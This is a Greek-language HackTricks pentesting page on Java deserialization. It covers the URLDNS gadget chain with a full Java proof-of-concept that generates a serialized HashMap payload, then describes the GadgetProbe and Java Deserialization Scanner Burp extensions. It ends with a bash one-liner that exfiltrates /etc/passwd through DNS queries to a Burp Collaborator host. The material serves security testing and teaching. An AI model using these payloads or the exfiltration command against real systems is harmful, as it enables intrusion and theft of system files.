mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
188 lines
12 KiB
Markdown
188 lines
12 KiB
Markdown
# Java DNS Deserialization, GadgetProbe και Java Deserialization Scanner
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## DNS αίτημα κατά την αποσειριοποίηση
|
||
|
||
Η κλάση `java.net.URL` υλοποιεί το `Serializable`, αυτό σημαίνει ότι αυτή η κλάση μπορεί να αποσειριοποιηθεί.
|
||
```java
|
||
public final class URL implements java.io.Serializable {
|
||
```
|
||
Αυτή η κλάση έχει μια **περίεργη συμπεριφορά.** Από την τεκμηρίωση: “**Δύο υπολογιστές θεωρούνται ισοδύναμοι αν και τα δύο ονόματα υπολογιστών μπορούν να επιλυθούν στις ίδιες διευθύνσεις IP**”.\
|
||
Έτσι, κάθε φορά που ένα αντικείμενο URL καλεί **οποιαδήποτε** από τις **συναρτήσεις `equals`** ή **`hashCode`** μια **DNS αίτηση** για να αποκτήσει τη διεύθυνση IP θα **σταλεί**.
|
||
|
||
**Η κλήση** της συνάρτησης **`hashCode`** **από** ένα **αντικείμενο URL** είναι αρκετά εύκολη, αρκεί να εισάγετε αυτό το αντικείμενο μέσα σε ένα `HashMap` που πρόκειται να αποσυμπιεστεί. Αυτό συμβαίνει επειδή **στο τέλος** της **συνάρτησης `readObject`** από το `HashMap` εκτελείται αυτός ο κώδικας:
|
||
```java
|
||
private void readObject(java.io.ObjectInputStream s)
|
||
throws IOException, ClassNotFoundException {
|
||
[ ... ]
|
||
for (int i = 0; i < mappings; i++) {
|
||
[ ... ]
|
||
putVal(hash(key), key, value, false, false);
|
||
}
|
||
```
|
||
Είναι **να** **εκτελεί** το `putVal` με κάθε τιμή μέσα στο `HashMap`. Αλλά, πιο σχετική είναι η κλήση στο `hash` με κάθε τιμή. Αυτός είναι ο κώδικας της συνάρτησης `hash`:
|
||
```java
|
||
static final int hash(Object key) {
|
||
int h;
|
||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||
}
|
||
```
|
||
Όπως μπορείτε να παρατηρήσετε, **κατά την αποσειριοποίηση** ενός **`HashMap`** η συνάρτηση `hash` θα **εκτελείται με κάθε αντικείμενο** και **κατά τη διάρκεια** της εκτέλεσης του **`hash`** **θα εκτελείται** το `.hashCode()` του αντικειμένου. Επομένως, αν **αποσειριοποιήσετε** ένα **`HashMap`** **που περιέχει** ένα **αντικείμενο URL**, το **αντικείμενο URL** θα **εκτελέσει** το `.hashCode()`.
|
||
|
||
Τώρα, ας ρίξουμε μια ματιά στον κώδικα του `URLObject.hashCode()`:
|
||
```java
|
||
public synchronized int hashCode() {
|
||
if (hashCode != -1)
|
||
return hashCode;
|
||
|
||
hashCode = handler.hashCode(this);
|
||
return hashCode;
|
||
```
|
||
Όπως μπορείτε να δείτε, όταν ένα `URLObject` εκτελεί `.hashCode()`, καλείται `hashCode(this)`. Μια συνέχεια μπορείτε να δείτε τον κώδικα αυτής της συνάρτησης:
|
||
```java
|
||
protected int hashCode(URL u) {
|
||
int h = 0;
|
||
|
||
// Generate the protocol part.
|
||
String protocol = u.getProtocol();
|
||
if (protocol != null)
|
||
h += protocol.hashCode();
|
||
|
||
// Generate the host part.
|
||
InetAddress addr = getHostAddress(u);
|
||
[ ... ]
|
||
```
|
||
Μπορείτε να δείτε ότι εκτελείται ένα `getHostAddress` στο domain, **εκκινώντας ένα DNS query**.
|
||
|
||
Επομένως, αυτή η κλάση μπορεί να **καταχραστεί** προκειμένου να **εκκινήσει** ένα **DNS query** για να **δείξει** ότι είναι δυνατή η **deserialization**, ή ακόμα και για να **εξάγει πληροφορίες** (μπορείτε να προσθέσετε ως υποτομέα την έξοδο μιας εκτέλεσης εντολής).
|
||
|
||
### URLDNS payload code example
|
||
|
||
Μπορείτε να βρείτε τον [κώδικα payload URDNS από το ysoserial εδώ](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Ωστόσο, απλά για να διευκολύνω την κατανόηση του πώς να το κωδικοποιήσετε, δημιούργησα το δικό μου PoC (βασισμένο σε αυτό από το ysoserial):
|
||
```java
|
||
import java.io.File;
|
||
import java.io.FileInputStream;
|
||
import java.io.FileOutputStream;
|
||
import java.io.IOException;
|
||
import java.io.ObjectInputStream;
|
||
import java.io.ObjectOutputStream;
|
||
import java.lang.reflect.Field;
|
||
import java.net.InetAddress;
|
||
import java.net.URLConnection;
|
||
import java.net.URLStreamHandler;
|
||
import java.util.HashMap;
|
||
import java.net.URL;
|
||
|
||
public class URLDNS {
|
||
public static void GeneratePayload(Object instance, String file)
|
||
throws Exception {
|
||
//Serialize the constructed payload and write it to the file
|
||
File f = new File(file);
|
||
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
|
||
out.writeObject(instance);
|
||
out.flush();
|
||
out.close();
|
||
}
|
||
public static void payloadTest(String file) throws Exception {
|
||
//Read the written payload and deserialize it
|
||
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
|
||
Object obj = in.readObject();
|
||
System.out.println(obj);
|
||
in.close();
|
||
}
|
||
|
||
public static void main(final String[] args) throws Exception {
|
||
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
|
||
HashMap ht = new HashMap(); // HashMap that will contain the URL
|
||
URLStreamHandler handler = new SilentURLStreamHandler();
|
||
URL u = new URL(null, url, handler); // URL to use as the Key
|
||
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
|
||
|
||
// During the put above, the URL's hashCode is calculated and cached.
|
||
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
|
||
final Field field = u.getClass().getDeclaredField("hashCode");
|
||
field.setAccessible(true);
|
||
field.set(u, -1);
|
||
|
||
//Test the payloads
|
||
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
|
||
}
|
||
}
|
||
|
||
|
||
class SilentURLStreamHandler extends URLStreamHandler {
|
||
|
||
protected URLConnection openConnection(URL u) throws IOException {
|
||
return null;
|
||
}
|
||
|
||
protected synchronized InetAddress getHostAddress(URL u) {
|
||
return null;
|
||
}
|
||
}
|
||
```
|
||
### Περισσότερες πληροφορίες
|
||
|
||
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
|
||
- Στην αρχική ιδέα, το payload των commons collections άλλαξε για να εκτελέσει ένα DNS query, αυτό ήταν λιγότερο αξιόπιστο από τη προτεινόμενη μέθοδο, αλλά αυτή είναι η ανάρτηση: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||
|
||
## GadgetProbe
|
||
|
||
Μπορείτε να κατεβάσετε [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) από το Burp Suite App Store (Extender).
|
||
|
||
**GadgetProbe** θα προσπαθήσει να καταλάβει αν κάποιες **Java κλάσεις υπάρχουν** στην Java κλάση του διακομιστή ώστε να γνωρίζετε **αν** είναι **ευάλωτος** σε κάποια γνωστή εκμετάλλευση.
|
||
|
||
### Πώς λειτουργεί
|
||
|
||
**GadgetProbe** θα χρησιμοποιήσει το ίδιο **DNS payload της προηγούμενης ενότητας** αλλά **πριν** εκτελέσει το DNS query θα **προσπαθήσει να αποσειρθεί μια αυθαίρετη κλάση**. Αν η **αυθαίρετη κλάση υπάρχει**, το **DNS query** θα **σταλεί** και το GadgetProbe θα σημειώσει ότι αυτή η κλάση υπάρχει. Αν το **DNS** αίτημα **ποτέ δεν σταλεί**, αυτό σημαίνει ότι η **αυθαίρετη κλάση δεν αποσειράθηκε** επιτυχώς, οπότε είτε δεν είναι παρούσα είτε δεν είναι **serializable/exploitable**.
|
||
|
||
Μέσα στο github, [**GadgetProbe έχει κάποιες wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) με Java κλάσεις για δοκιμή.
|
||
|
||
 (1).gif>)
|
||
|
||
### Περισσότερες Πληροφορίες
|
||
|
||
- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
|
||
|
||
## Java Deserialization Scanner
|
||
|
||
Αυτός ο σαρωτής μπορεί να **κατέβει** από το Burp App Store (**Extender**).\
|
||
Η **επέκταση** έχει **παθητικές** και ενεργές **ικανότητες**.
|
||
|
||
### Παθητική
|
||
|
||
Από προεπιλογή, **ελέγχει παθητικά** όλα τα αιτήματα και τις απαντήσεις που αποστέλλονται **αναζητώντας** **Java serialized magic bytes** και θα παρουσιάσει μια προειδοποίηση ευπάθειας αν βρεθεί κάποια:
|
||
|
||
.png>)
|
||
|
||
### Ενεργή
|
||
|
||
**Χειροκίνητη Δοκιμή**
|
||
|
||
Μπορείτε να επιλέξετε ένα αίτημα, να κάνετε δεξί κλικ και `Send request to DS - Manual Testing`.\
|
||
Στη συνέχεια, μέσα στην καρτέλα _Deserialization Scanner Tab_ --> _Manual testing tab_ μπορείτε να επιλέξετε το **σημείο εισαγωγής**. Και **να ξεκινήσετε τη δοκιμή** (Επιλέξτε την κατάλληλη επίθεση ανάλογα με την κωδικοποίηση που χρησιμοποιείται).
|
||
|
||

|
||
|
||
Ακόμα και αν αυτό ονομάζεται "Χειροκίνητη δοκιμή", είναι αρκετά **αυτοματοποιημένο**. Θα ελέγξει αυτόματα αν η **αποσειροποίηση** είναι **ευάλωτη** σε **οποιοδήποτε ysoserial payload** ελέγχοντας τις βιβλιοθήκες που είναι παρούσες στον διακομιστή ιστού και θα επισημάνει αυτές που είναι ευάλωτες. Για να **ελέγξετε** για **ευάλωτες βιβλιοθήκες** μπορείτε να επιλέξετε να εκκινήσετε **Javas Sleeps**, **sleeps** μέσω **κατανάλωσης CPU**, ή χρησιμοποιώντας **DNS** όπως έχει αναφερθεί προηγουμένως.
|
||
|
||
**Εκμετάλλευση**
|
||
|
||
Αφού έχετε εντοπίσει μια ευάλωτη βιβλιοθήκη, μπορείτε να στείλετε το αίτημα στην καρτέλα _Exploiting Tab_.\
|
||
Σε αυτή την καρτέλα πρέπει να **επιλέξετε** ξανά το **σημείο εισαγωγής**, να **γράψετε** τη **ευάλωτη βιβλιοθήκη** για την οποία θέλετε να δημιουργήσετε ένα payload, και την **εντολή**. Στη συνέχεια, απλώς πατήστε το κατάλληλο κουμπί **Επίθεσης**.
|
||
|
||

|
||
|
||
### Java Deserialization DNS Exfil πληροφορίες
|
||
|
||
Κάντε το payload σας να εκτελεί κάτι σαν το παρακάτω:
|
||
```bash
|
||
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
|
||
```
|
||
### Περισσότερες Πληροφορίες
|
||
|
||
- [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|